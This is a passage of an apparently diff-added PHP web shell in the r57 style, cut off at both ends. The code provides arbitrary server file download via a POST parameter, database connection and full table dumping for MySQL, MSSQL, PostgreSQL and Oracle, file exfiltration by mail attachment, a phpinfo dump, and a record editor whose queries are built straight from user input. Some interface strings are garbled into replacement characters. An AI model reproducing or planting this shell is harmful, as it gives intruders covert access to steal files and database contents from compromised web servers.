solid; +BORDER-LEFT: #990000 1 solid; +BORDER-BOTTOM: #990000 1 solid; +BACKGROUND-COLOR: #333333; +font: 9pt tahoma; +color: #ffffff; +} +select { +BORDER-RIGHT: #ffffff 1 solid; +BORDER-TOP: #999999 1 solid; +BORDER-LEFT: #999999 1 solid; +BORDER-BOTTOM: #ffffff 1 solid; +BACKGROUND-COLOR: #000000; +font: 9pt tahoma; +color: #CCCCCC;; +} +submit { +BORDER: buttonhighlight 1 outset; +BACKGROUND-COLOR: #272727; +width: 40%; +color: #cccccc; +} +textarea { +BORDER-RIGHT: #ffffff 1 solid; +BORDER-TOP: #999999 1 solid; +BORDER-LEFT: #999999 1 solid; +BORDER-BOTTOM: #ffffff 1 solid; +BACKGROUND-COLOR: #333333; +font: Fixedsys bold; +color: #ffffff; +} +BODY { +margin: 1; +color: #cccccc; +background-color: #000000; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} + +</STYLE> +<script language=\'javascript\'> +function hide_div(id) +{ + document.getElementById(id).style.display = \'none\'; + document.cookie=id+\'=0;\'; +} +function show_div(id) +{ + document.getElementById(id).style.display = \'block\'; + document.cookie=id+\'=1;\'; +} +function change_divst(id) +{ + if (document.getElementById(id).style.display == \'none\') + show_div(id); + else + hide_div(id); +} +</script>'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(@mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +class my_sql + { + var $host = 'localhost'; + var $port = ''; + var $user = ''; + var $pass = ''; + var $base = ''; + var $db = ''; + var $connection; + var $res; + var $error; + var $rows; + var $columns; + var $num_rows; + var $num_fields; + var $dump; + + function connect() + { + switch($this->db) + { + case 'MySQL': + if(empty($this->port)) { $this->port = '3306'; } + if(!function_exists('mysql_connect')) return 0; + $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); + if(is_resource($this->connection)) return 1; + break; + case 'MSSQL': + if(empty($this->port)) { $this->port = '1433'; } + if(!function_exists('mssql_connect')) return 0; + $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); + if($this->connection) return 1; + break; + case 'PostgreSQL': + if(empty($this->port)) { $this->port = '5432'; } + $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; + if(!function_exists('pg_connect')) return 0; + $this->connection = @pg_connect($str); + if(is_resource($this->connection)) return 1; + break; + case 'Oracle': + if(!function_exists('ocilogon')) return 0; + $this->connection = @ocilogon($this->user, $this->pass, $this->base); + if(is_resource($this->connection)) return 1; + break; + } + return 0; + } + + function select_db() + { + switch($this->db) + { + case 'MySQL': + if(@mysql_select_db($this->base,$this->connection)) return 1; + break; + case 'MSSQL': + if(@mssql_select_db($this->base,$this->connection)) return 1; + break; + case 'PostgreSQL': + return 1; + break; + case 'Oracle': + return 1; + break; + } + return 0; + } + + function query($query) + { + $this->res=$this->error=''; + switch($this->db) + { + case 'MySQL': + if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) + { + $this->error = @mysql_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'MSSQL': + if(false===($this->res=@mssql_query($query,$this->connection))) + { + $this->error = 'Query error'; + return 0; + } + else if(@mssql_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'PostgreSQL': + if(false===($this->res=@pg_query($this->connection,$query))) + { + $this->error = @pg_last_error($this->connection); + return 0; + } + else if(@pg_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'Oracle': + if(false===($this->res=@ociparse($this->connection,$query))) + { + $this->error = 'Query parse error'; + } + else + { + if(@ociexecute($this->res)) + { + if(@ocirowcount($this->res) != 0) return 2; + return 1; + } + $error = @ocierror(); + $this->error=$error['message']; + } + break; + } + return 0; + } + function get_result() + { + $this->rows=array(); + $this->columns=array(); + $this->num_rows=$this->num_fields=0; + switch($this->db) + { + case 'MySQL': + $this->num_rows=@mysql_num_rows($this->res); + $this->num_fields=@mysql_num_fields($this->res); + while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); + @mysql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'MSSQL': + $this->num_rows=@mssql_num_rows($this->res); + $this->num_fields=@mssql_num_fields($this->res); + while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); + @mssql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; + break; + case 'PostgreSQL': + $this->num_rows=@pg_num_rows($this->res); + $this->num_fields=@pg_num_fields($this->res); + while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); + @pg_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'Oracle': + $this->num_fields=@ocinumcols($this->res); + while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; + @ocifreestatement($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + } + return 0; + } + function dump($table) + { + if(empty($table)) return 0; + $this->dump=array(); + $this->dump[0] = '##'; + $this->dump[1] = '## --------------------------------------- '; + $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); + $this->dump[3] = '## Database: '.$this->base; + $this->dump[4] = '## Table: '.$table; + $this->dump[5] = '## --------------------------------------- '; + switch($this->db) + { + case 'MySQL': + $this->dump[0] = '## MySQL dump'; + if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + $this->dump[] = $this->rows[0]['Create Table']; + $this->dump[] = '## --------------------------------------- '; + if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} + $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'MSSQL': + $this->dump[0] = '## MSSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'PostgreSQL': + $this->dump[0] = '## PostgreSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'Oracle': + $this->dump[0] = '## ORACLE dump'; + $this->dump[] = '## under construction'; + break; + default: + return 0; + break; + } + return 1; + } + function close() + { + switch($this->db) + { + case 'MySQL': + @mysql_close($this->connection); + break; + case 'MSSQL': + @mssql_close($this->connection); + break; + case 'PostgreSQL': + @pg_close($this->connection); + break; + case 'Oracle': + @oci_close($this->connection); + break; + } + } + function affected_rows() + { + switch($this->db) + { + case 'MySQL': + return @mysql_affected_rows($this->res); + break; + case 'MSSQL': + return @mssql_affected_rows($this->res); + break; + case 'PostgreSQL': + return @pg_affected_rows($this->res); + break; + case 'Oracle': + return @ocirowcount($this->res); + break; + default: + return 0; + break; + } + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; } + else + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $filedump = @fread($file,@filesize($_POST['d_name'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } + +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } +if(isset($_GET['sqlman'])) { +session_start(); +$action = $HTTP_GET_VARS['action']; +$pagemax=20; // Maximum rows displaed per page, change to display more or less rows per page. +function show_login($dbnamearray){ + $hostdefault="localhost"; + echo"<table>"; + echo"<form name='showlogin' method='post' action='$action'>"; + if(count($hostdefault) > 1){ + echo"<tr><td>??? C???????:</td><td><select name=host>"; + for($x=0; $x < count($hostdefault);$x++){ + echo"<option value=$hostdefault[$x]>$hostdefault[$x]"; + } + echo"</select></td></tr>\n"; + }else{ + echo"<tr><td>����� ����� ��������:</td><td><input type=text name='host' size=15 value=$hostdefault /></td></tr>\n"; + } + echo"<tr><td>��� ��������:</td><td><input type=text name='userid' size=15 /></td></tr>\n"; + echo"<tr><td>���� ������:</td><td><input type=password name='pword1' size=15 /></td></tr>\n"; + + If($dbnamearray != ""){ + echo"<tr><td>?C?IE C?E?C?CE:</td><td><select name='dbna'>\n"; + for ($i =0; $i < count($dbnamearray); $i++) { + $dbn=$dbnamearray[$i]; + echo"<option value=$dbn>$dbn"; + } + } + echo"<tr><td><input class=ser type='submit' name='login' value='����' /></td>\n"; + echo"<td><input class=ser type=reset name='reset' value='���' /></td></tr>\n"; + echo"</form></table>\n"; + +} + +function dbrestrict(){ +if(isset($_SESSION['user'])){ + $user=$_SESSION['user']; + + switch($user){ + + //Edit these ** values. You can add more case statements. + case '**User**': + $dbnamearray= array('**dbname**', '**dbname2**', '**dbname**'); + break; + //end edit values + + default: + $_SESSION['defaltuser']=true; + $dbnamearray = array(); + $link = connectmysql(); + + $db_list = mysql_list_dbs($link); //$db_list + $cnt = mysql_num_rows($db_list); + for ($i =0; $i < $cnt; $i++) { + $dbnamearray[$i]= mysql_db_name($db_list, $i); + } + } + return $dbnamearray; +} +} +//*************************************************************** +//function showdbs($dbnamearray, $backuppath){ +function showdbs($dbnamearray){ + //$backuppath=addslashes($backuppath); + echo"<table>\n"; + for ($i =0; $i < count($dbnamearray); $i++) { + echo"<tr><td>"; + $dbn=$dbnamearray[$i]; + $va="������ ��� ����� $dbn"; + goto(' ', $dbn,$action, 'but', 'db', $va ); + + $dbs=mysize($dbnamearray[$i],""); + echo"</td><td>$dbs</td></tr>\n"; + } + echo"</table>\n"; +} + + +//********************* Show Logout Button ********** +function endsess(){ +echo"<form method='post' name='endsess' action='$action'>\n"; +echo"<input class=ser type='submit' name='logout' value='����' />\n"; +echo"</form>"; +} + +//******************************************************************** +function connectmysql(){ + //Connects to the MySQL Database. + + + if (isset($_SESSION['user']) && isset($_SESSION['password'])){ + $user = $_SESSION['user']; + $pass = $_SESSION['password']; + }else{ + display_foot(); + echo"\n</body>\n</html>"; + exit(); + } + $link = @mysql_connect($_SESSION['host'], $_SESSION['user'], $_SESSION['password']); + if(! $link){ + echo"<div class='error'>\n"; + echo"Unable to connect to the database server. <BR>"; + echo"The Host: $_SESSION[host], ��� ��������: $user �� ������ ������ ����. <br>"; + echo"����� ��� ���� �������� ��� ����.\n"; + echo"</div>\n"; + + return false; + exit(); + } else{ + return $link; + } + +} +//********************************************************************* +function connectdb($db, $link){ + if(! mysql_select_db($db,$link)){ + echo"Unable to locate database $db.<br> Please try again later.\n"; + exit(); + } +} +//********************************************************************* +function exequery($sql, $tablename, $db){ + $result= @mysql_query( $sql ); + if($result){ + //echo "Query successful"; + return $result; + }else{ + echo"Sorry your Query failed: $sql <br> error:".mysql_error()."\n"; + return false; + } +} + + +//*************************************************** +$fieldtypes = array("BIGINT", "BLOB", "CHAR", "DATE", "DATETIME", "DECIMAL", "DOUBLE", "ENUM", "FLOAT", + "INT", "INTEGER", "LONGBLOB", "LONGTEXT", "MEDIUMBLOB", "MEDIUMINT", "MEDIUMTEXT", "NUMERIC", "PRECISION", + "REAL","SET", "SMALLINT", "TEXT", "TIME", "TIMESTAMP", "TINYBLOB", "TINYINT", "TINYTEXT", "VARCHAR", "YEAR" ); + + +//****************** Search Form **************************** +function searchtableform($tablename, $dbname){ + echo"<form method='post' action='$action'>\n"; + echo"<input type=hidden name='dbname' value='$dbname' />\n"; + echo"<input type=hidden name='tablename' value='$tablename' />\n"; + echo"<input type=text name='searchval' />\n"; + echo"<input class=ser type=submit name='search' value='Search $tablename' />\n"; + echo"</form>\n"; +} +//********************* Search ************************* +function searcht($tablename, $dbname, $searchval){ + if(! empty($searchval)){ + // $searchval= str_replace(";",' ', $searchval); + $result=exequery("Select * from $tablename", $tablename, $dbname); + //$result=mysql_query("Select * from $tablename"); + $num = mysql_num_fields($result); + $fields = mysql_list_fields($dbname, $tablename); + $whr="where "; + $tok=explode(" ",$searchval); + for ($t =0; $t < count($tok); $t++){ + for ( $c = 0; $c < $num; $c++){ + $fn =mysql_field_name($fields, $c); + $whr .=" $fn like '%$tok[$t]%' or "; + } + } + $whr=trim(substr_replace($whr, " ", -3)); + $query="Select * from $tablename $whr"; + $result=exequery($query, $tablename, $dbname); + return $result; + } + +} +//*********************GOTO buttons************************* +//provides a form and button. + +function goto($tablename, $dbname, $action, $class, $name, $va ){ + //Adds a button. + + echo"<form action='$action' method='post' >\n"; + + if(! eregi('tablestart', $name)){ + echo"<input type=hidden name=dbname value='$dbname' />\n"; + echo"<input type=hidden name=tablename value='$tablename' />\n"; + } + echo"<input class=$class type=submit value='$va' name='$name' />\n"; + //echo"<input class=$class type=submit value='$action' name=$name>"; + echo"</form>\n"; + + //echo"<a class=$class href=$action>$va</a>"; + //} +} + +//*********************** ShowDB *********************************** +function showdb(){ +//function showdb($backuppath){ + + $link=connectmysql(); + if ($link){ + echo"<div class='db'>"; + echo"<div class='cream'>\n"; + echo"<h2 class=h >����� ����� �����</h2>\n"; + + echo"<form name=cdb action='$action' method='post' >\n"; + echo"��� ������� �������: <input type=text name=ndbname />\n"; + echo"<br /><br /><input class=but type='submit' name='cndb' value='����� ����� �����' />\n"; + echo"</form><br />"; + echo"</div>"; + echo"<h2 class=h >����� ������� ��������</h2>\n"; + //Restrict the database for users + $dbnamearray= dbrestrict(); + showdbs($dbnamearray); + echo"</div>"; + } + +} + +//********************** BuildWhr ****************************** +//Builds the Where part of queries. + +function buildwhr($pk, $pv){ + $whr=""; + $pn =count($pv); + for($t =0; $t < $pn; $t++){ + $whr.="$pk[$t]='$pv[$t]'"; + if($t < $pn-1){ + $whr.=" and "; + } + } + if ($whr !=" "){ + return $whr; + }else{ + return false; + } +} +//***********************ADD Record ****************** + +function addrecord($tablename, $dbname, $array){ + $result=exequery("Select * from $tablename", $tablename, $dbname); + //$result = @mysql_query( "Select * from $tablename" ); + + $flds = mysql_num_fields($result); + //$fields = mysql_list_fields($dbname, $tablename); + $qry=" "; + $query = "Insert into $tablename Values( "; + for ($x =0; $x < $flds; $x++){ + //Multiple Select values for SET + + if(is_array($array[$x])){ + $mval=""; + for($m=0; $m < count($array[$x]); $m++){ + if($m+1 == count($array[$x])){ + $mval.= AddSlashes($array[$x][$m]); + + }else{ + $mval.= AddSlashes($array[$x][$m]).","; + } + $fval = $mval; + } + }else{ + $fval = AddSlashes($array[$x]); + } + $qry .= "'$fval'"; + if ($x < $flds-1){ + $qry.= ", "; + } + } + $query .= $qry.")"; + // echo"qry: $qry"; + $result=exequery($query, $tablename, $dbname); + if($result){ + return $result; + }else{ + return false; + } +} + +//**********************ADD Form ********************** + +function addform($tablename, $dbname){ + //Display the field names and input boxes + echo"<form action='$action' method='post'>\n"; + echo"<table border=0 width='100%' align='center'>\n"; + echo"<tr class=head><td>Field Name</td><td>Type</td><td>Value</td></tr>\n"; + $result=exequery("Select * from $tablename", $tablename, $dbname); + //$result = @mysql_query( "Select * from $tablename" ); + $flds = mysql_num_fields($result); + $fields = mysql_list_fields($dbname, $tablename); + echo"<input type=hidden name=tablename value='$tablename' />\n"; + echo"<input type=hidden name='dbname' value='$dbname' />\n"; + echo"<tr>\n"; + + $mxlen = 80;//max width of the form fields. + for($i=0; $i < $flds; $i++){ + $auto = "false"; + echo "<th>".mysql_field_name($fields, $i); + $fieldname = mysql_field_name($fields, $i); // added + $type = mysql_field_type($result, $i); + $flen = mysql_field_len($result, $i);//length of the field + $flagstring = mysql_field_flags ($result, $i); + // Start of new code for set drop down + $newsql = "show columns from $tablename like '%".$fieldname."'"; + $newresult = exequery($newsql, $tablename, $dbname); + //mysql_query($newsql) or die ('I cannot get the query because: ' . mysql_error()); + $arr=mysql_fetch_array($newresult); + // End of new code block for set drop down + if (eregi("primary",$flagstring )){ + $type .= " PK "; + } + if(eregi("auto",$flagstring )){ + $type .= " auto_increment"; + $auto = "true"; + } + if ($auto=="true"){ + echo"<td>$type</td><td><input type=text name='array[$i]' size='$flen' value=0 /></td></tr>\n"; + }elseif($flen > $mxlen){ + $rws= $flen/$mxlen; + if($rws>10){ + $rws=10; //max length of textarea + } + echo"<td>$type</td><td><textarea name='array[$i]' rows=$rws cols=$mxlen></textarea></td></tr>\n"; + // Start of new code for set drop down + }elseif (strncmp($arr[1],'set',3)==0 || strncmp($arr[1],'enum',4)==0){ // We have a field type of set or enum + $num=substr_count($arr[1],',') + 1; // count the number of entries + $pos=strpos($arr[1],'(' ); //find the position of '(' + $newstring=substr($arr[1],$pos+1); // get rid of the '???(' + $snewstring=str_replace(')','',$newstring); // get rid of the last ')' + $nnewstring=explode(',',$snewstring,$num); // stick into an array + if(strncmp($arr[1],'set',3)==0 ){//Sets can have combinations of values + echo "<td>Set (select one or more)</td>"; + echo"<td><select name='array[$i][]' size='3' multiple>"; + }else{//Enum one value only + echo "<td>Enum</td>"; + echo"<td><select name='array[$i]'>"; + } + for($y=0; $y<$num;$y++){ + echo"<option value=$nnewstring[$y]>$nnewstring[$y]"; + } + echo"</select></td></tr>\n"; + // End of new code block for set drop down + }else{ + echo"<td>$type</td><td><input type=text name='array[$i]' size='$flen' /></td></tr>\n"; + } + } + echo"<tr><td><input class=but type=submit name='addrec' value='Add Record' /></td>\n"; + echo"<td><input class=but type=reset name='reset' value='Reset Form' /></td>\n"; + echo"</tr>"; + echo"</table>\n"; + echo"</form>\n"; +} + + +//*********************Edit Form *************** +function editform($tablename, $dbname, $result, $edit, $pk, $pv){ + $row=mysql_fetch_array($result); + echo"<form action='$action' method=post>\n"; + echo"<table border=0 width ='100%' align='center'>\n"; + + $flds = mysql_num_fields($result); + $fields = mysql_list_fields($dbname, $tablename); + echo"<input type=hidden name=tablename value='$tablename' />\n"; + + echo"<input type=hidden name='dbname' value='$dbname' />\n"; + echo"<tr>"; + $mxlen = 80;//max width of the form fields + for($i=0; $i < $flds; $i++){ + $fname=mysql_field_name($fields, $i); + echo "<th>$fname"; + $flen = mysql_field_len($result, $i);//length of the field + $nslash = StripSlashes($row[$i]); + // Start of new code for set drop down + $newsql = "show columns from $tablename like '%".$fname."'"; + $newresult = exequery($newsql, $tablename, $dbname); + $arr=mysql_fetch_array($newresult); + // End of new code block for set drop down + + if($flen > $mxlen){ + $rws= $flen/$mxlen; + if($rws>10){ + $rws=10; //max length of textarea + } + echo"<td><textarea name='array[$i]' rows=$rws cols=$mxlen>$nslash</textarea></td></tr>\n"; +// Start of new code for set drop down + }elseif (strncmp($arr[1],'set',3)==0 || strncmp($arr[1],'enum',4)==0){ // We have a field type of set or enum + $num=substr_count($arr[1],',') + 1; // count the number of entries + $pos=strpos($arr[1],'(' ); //find the position of '(' + $newstring=substr($arr[1],$pos+1); // get rid of the '???(' + $snewstring=str_replace(')','',$newstring); // get rid of the last ')' + $nnewstring=explode(',',$snewstring,$num); // stick into an array + if(strncmp($arr[1],'set',3)==0 ){//Sets can have combinations of values + echo"<td><select name='array[$i][]' multiple size='3'>"; + }else{//Enum one value only + echo"<td><select name='array[$i]'>"; + } + $nsel=explode(",",$nslash); + for($y=0; $y<$num;$y++){ + //geteach value 'a,b,c' + $sel=""; + for($e=0; $e<count($nsel);$e++){ + if($nnewstring[$y]=="'".$nsel[$e]."'"){ + $sel="selected"; + } + } + echo"<option value=$nnewstring[$y] $sel>$nnewstring[$y]"; + } + echo"</select></td></tr>\n"; +// End of new code block for set drop down + + + }else{ + echo"<td><input type=text name='array[$i]' size='$flen' value='$nslash' /></td></tr>\n"; + } + for($f =0; $f< count($pk);$f++){ + echo"<input type=hidden name=pk[$f] value='$pk[$f]' />"; + echo"<input type=hidden name=pv[$f] value='$pv[$f]' />\n"; + } + } + echo"<tr><td><input class=but type=submit name='editrec' value='Update' /></td>\n"; + echo"<td><input class=but type=reset name='reset' value='Reset Form' /></td>\n"; + echo"</tr>"; + echo"</table>\n"; + echo"</form>\n"; +} +//************************Edit Record************************* +function editrec($dbname, $tablename, $pk, $pv, $array){ + + //$result = @mysql_query( "Select * from $tablename" ); + $result = exequery("Select * from $tablename", $tablename, $dbname); + $flds = mysql_num_fields($result); + $fields = mysql_list_fields($dbname, $tablename); + +//Build Query + $qry=""; + $query = "UPDATE $tablename set "; + for ($x =0; $x < $flds; $x++){ + $fie = mysql_field_name($fields, $x ); + // SET and ENUM + if(is_array($array[$x])){ + $mval=""; + for($m=0; $m < count($array[$x]); $m++){ + if($m+1 == count($array[$x])){ + $mval.= AddSlashes($array[$x][$m]); + }else{ + $mval.= AddSlashes($array[$x][$m]).","; + } + $fval = $mval; + } + }else{ + $fval = AddSlashes($array[$x]); + } + //************************** + //$fval = AddSlashes($array[$x]); + $qry .= "$fie = '$fval'"; + if ($x < $flds-1){ + $qry.= ", "; + } + } + $whr = buildwhr( $pk, $pv); + $whr =StripSlashes($whr); + $query .= "$qry"; + $query .= " where $whr"; + + $result=exequery($query, $tablename, $dbname); + if($result){ + return $result; + }else{ + return false; + } +} +//****************** Number of Primary Keys *********************** +function numpk($result){ + $z =0; + for ($i = 0; $i < $flds; $i++) { + //Find the primary key + $flagstring = mysql_field_flags ($result, $i); + if(eregi("primary",$flagstring )){ + $z++; + } + } + return $z; +} +//********************Size field***************** +function fieldformsize($ft, $i, $l){ + $ft= trim(strtoupper($ft)); + if($ft =="DATE" || $ft=="TIME" || $ft== "DATETIME" ){ + }elseif( $ft=="TINYTEXT" || $ft=="BLOB" || $ft=="TEXT" || $ft =="MEDIUMBLOB"){ + echo"<input type=hidden name='leng[$i]' value=$l>"; + }elseif($ft=="MEDIUMTEXT" || $ft=="LONGBLOB"|| $ft=="LONGTEXT" || $ft=="TINYBLOB"){ + echo"<input type=hidden name='leng[$i]' value=$l>"; + }elseif($ft=="INT" || $ft=="TINYINT"|| $ft=="SMALLINT"|| $ft=="MEDIUMINT"|| $ft=="BIGINT" || $ft=="INTEGER"){ + echo"<input type=text name='leng[$i]' size=5 value=$l>"; + }elseif($ft=="YEAR" ){ + echo"<select name='leng[$i]'>"; + echo"<option value='4'>4"; + echo"<option value='2'>2"; + echo"</select>\n"; + }elseif($ft=="SET"|| $ft=="ENUM"){ + echo"<input type=text name='leng[$i]' title='values eg \"a\", \"b\", \"c\"' value='' />"; + }else{ + echo"<input type=text name='leng[$i]' size=5 value=$l />\n"; + } +} + +//******************************Display Row ****************************** +function displayrow($dbname, $tbl, $pk, $pkfield, $cpk, $row, $flds){ + $pkfs=""; + $hv=""; + $hf=""; + + if($cpk >0 && !empty($pkfield)){ + for($a = 0; $a < $cpk; $a++){ + $fieldn = $pkfield[$a]; + $hf .= "<input type=hidden name=pk[$a] value='$pkfield[$a]' />"; + $hv .= "<input type=hidden name=pv[$a] value='$row[$fieldn]' />"; + } + }else{ //No Primary Key so use all fields + $fields = mysql_list_fields($dbname, $tbl); + for($b = 0; $b < $flds; $b++){ + $fie = mysql_field_name($fields, $b ); + $hf .= "<input type=hidden name=pk[$b] value='$fie' />"; + $hv .= "<input type=hidden name=pv[$b] value='$row[$b]' />"; + } + } + echo"<tr>\n"; + //edit Record + echo"<td><form action='$action' method=post>\n"; + echo"<input type=hidden name=dbname value='$dbname' />\n"; + echo"<input type=hidden name=tablename value='$tbl' />\n"; + echo"<input type=hidden name=npkeys value='$cpk' />\n"; + echo"$hf"; + echo"$hv"; + echo"<input class=sml type=submit name=edit value='Edit Record' />\n"; + echo"</form></td>\n"; + + //Delete record + echo"<td><form action='$action' method=post>\n"; + echo"<input type=hidden name=dbname value='$dbname' />\n"; + echo"<input type=hidden name=tablename value='$tbl' />\n"; + echo"<input type=hidden name=num value='$cpk' />\n"; + echo"$hf"; + echo"$hv"; + echo"<input class=smldel type=submit name=delete value='Delete Record' />\n"; + echo"</form></td>"; + + //Display all the columns. + for($col = 0; $col < $flds; $col ++){ + $nslash = StripSlashes($row[$col]); + echo"<td>$nslash</td>"; + } + echo"</tr>"; + +} +//***********************Remove Array Copy******************************** +//removes copies from an array $x. + +function removearraycopy($x){ + $leng= count($x); + sort($x); + $farr=array(); + + for ($i =0; $i < $leng; $i++){ + $flag=false; + for ($s =0; $s < count($farr); $s++){ + if($x[$i]==$farr[$s]){ + $flag=true; + } + } + if ($flag == false){ + $farr[count($farr)] = $x[$i]; + } + } + return $farr; +} +//***********************<< page position >>******************************** +function whichpage($num_rows, $pagemax, $pg, $tablename, $searchval){ + $pgs = $num_rows/$pagemax; + $pgs=ceil($pgs); + //round up the number of pages. + echo"<form action='$action' id='recspage' method='post' name='recspage'>\n"; + echo"Total number of records $num_rows, displayed on $pgs pages of \n"; + echo"<input type='text' name='pagemax' value='$pagemax' size='4' onchange='javascript:this.form.submit();' title='Type the number records to display on a page then click outside the box' /> \n"; + echo"<input type='hidden' name='searchval' value='$searchval' />\n"; + echo"<input type='hidden' name='tablename' value='$tablename' />\n"; + echo"records per page.</form> \n"; + $pagescrol=""; + $sval=""; + if($pgs >1){ + $pagescrol="<div class='pagecount'>\n"; + $nxt=$pg+1; + $bk=$pg-1; + $lst=$pgs; + 